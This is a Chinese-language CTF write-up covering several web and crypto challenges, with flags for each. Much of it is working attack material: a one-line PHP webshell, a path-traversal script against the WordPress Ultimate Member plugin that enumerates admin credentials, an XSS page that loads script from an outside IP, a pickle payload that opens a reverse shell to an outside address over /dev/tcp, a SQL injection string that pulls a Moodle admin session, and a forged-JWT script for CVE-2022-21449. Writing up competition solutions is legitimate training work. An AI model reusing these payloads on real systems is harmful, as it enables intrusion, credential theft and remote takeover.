强网先锋
rcefile
www.zip下载,config.inc.php存在 spl_autoload_register 函数,upload.php存在php检测
上传.inc文件
<?php
system($_GET[1]);
?>
添加反序列化内容
O:32:"5cbd14722da34dc4663bd2eabf2da83b":1:(s:3:"cmd";N;)
showfile.php执行反序列化
FLAG:flag{df856459-8b39-4f50-9b8f-8f3c021ed76a}
华东南赛区web01(sql_autoload_register) | (guokeya.github.io)
WP-UM
猫哥最近用wordpress搭建了一个个人博客,粗心的猫哥因为记性差,所以把管理员10位的账号作为文件名放在/username下和15位的密码作为文件名放在/password下。
并且存放的时候猫哥分成一个数字(作为字母在密码中的顺序)+一个大写或小写字母一个文件,例如admin分成5个文件,文件名是1a 2d 3m 4i 5n
注册用户后上传检测,发现一个上传插件的cve:用户元< 2.4.4 - 通过路径遍历的 Subscriber+ 本地文件枚举 WordPress 安全漏洞 (wpscan.com)
上传png后替换pf_nonce
验证漏洞
脚本跑出username和password
import requests
url = 'http://eci-2ze4dm8xhkfu2mwl6mx8.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php'
strings = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
num = 1
username = ''
#password = ''
while True:
for i in strings:
data = {
"field_name":"test",
"filepath":'/../../../../../../../../username/{num}{i}'.format(num=num,i=i),
#"filepath":'/../../../../../../../../password/{num}{i}'.format(num=num,i=i),
"field_id":"um_field_4",
"form_key":"Upload",
"action":"um_show_uploaded_file",
"pf_nonce":"df4dc42fbb",
"is_ajax":"true"
}
cookies = {
"wordpress_logged_in_89440c07e899dcdc36bf928bbc488c24":"123%7C1659414508%7CV50CgetWCwqdK39JhNXZnsuTYNOh6JLawZTXW1nuOCA%7C532627ab0ba66687383b7902d05c104d8ebefa995f377001d7a96fa10ad599d0"
}
r = requests.post(url=url,cookies=cookies,data=data)
if 'umRemoveFile' in r.text:
username+=i
num+=1
print(username)
break
MaoGePaMao/MaoGeYaoQiFeiLa
加上php
传shell
FLAG:flag{bd6a93fa-7707-4184-9f35-693b9291da3b}
WEB
babyweb
成功执行js
发现是发起了websocket请求去更改密码
xss打cors修改密码
//1.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Y0ng</title>
</head>
<body>
<script src="http://150.158.181.145/1.js"></script>
</body>
</html>
//1.js
const socket = new WebSocket('ws://127.0.0.1:8888/bot');
// Connection opened
socket.addEventListener('open', function (event) {
socket.send('changepw 123');
});
登陆后是一个购买hint,给了部分源码,buy部分是由go语言进行处理,前面为python进行处理。
利用go和python解析的差异,让go解析第一个product,给admin加钱
购买flag
FLAG:flag{6a7de156-9b87-435b-89b8-7a72bb02a35b}
crash
opcode反弹shell
import base64
import pickletools
a = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/150.158.181.145/3000 0>&1"'
o.'''
a = pickletools.optimize(a)
print(a)
print(base64.b64encode(a))
easylogin
开放了80以及8888端口,wordpress存在sql注入 https://www.freebuf.com/articles/web/321297.html
注出Moodle的管理员session
action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=1) or updatexml(1,concat(0x7e,(SELECT sid FROM moodle.mdl_sessions where userid=2 limit 0,1),0x7e),1)#&query_vars[tax_query][1][field]=term_taxonomy_id
替换cookie,成功登录,后台上传zip rce:https://github.com/HoangKien1020/Moodle_RCE
命令执行
FLAG:flag{Congratulations_on_completing_the_task_Please_donot_affect_others_progress}
easyweb
路径穿越读index.php,class.php,upload.php就是没法读showfile.php
根据读到的class.php文件比对,这里应该使用的 GuestShow 下的 show 方法,调用了file_get_contents 方法,存在phar反序列化的可能性,但是题目竟然没有办法上传文件,原因为upload.php中的 $_SESSION 不存在。
不过可以利用PHP_SESSION_UPLOAD_PROGRESS 进行绕过,然后构造phar包,去反序列化
/etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.2 f3d4be8c6938
10.10.10.5 f3d4be8c6938
/proc/net/arp
IP address HW type Flags HW address Mask Device
172.18.0.1 0x1 0x2 02:42:60:b2:90:eb * eth0
Crypto
myJWT
CVE-2022-21449,Java自带ECDSA签名验证函数存在漏洞,签名设置为0即可绕过。
import base64
code = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiMTExIiwiYWRtaW4iOmZhbHNlLCJleHAiOjE2NTkyMjk2Mzc1MjV9.Z0eiAr2mF567sUbjGp72N35dGkVb82kqLdDz14qRvVsiWpOYY2nTXB20_Y3QoCX0oKGahrcTBqSP6Qhtw1U2-OeeAu38CTYxSj0ae0Fpa4c7FQM7BW7gvVy9QIHiQ901'
jwt = code.split('.')
jwt0 = base64.b64decode(jwt[0])
jwt1 = base64.b64decode(jwt[1]).replace(b'false',b'true')
#print(jwt1)
jwt2 = b'\x00' * len(base64.urlsafe_b64decode(jwt[2]))
#print(len(jwt2))
payload = base64.b64encode(jwt0)+b'.'+base64.b64encode(jwt1)+b'.'+base64.b64encode(jwt2)
print(payload)
FLAG:flag{cve-2022-21449_Secur1ty_0f_c0de_1mplementation}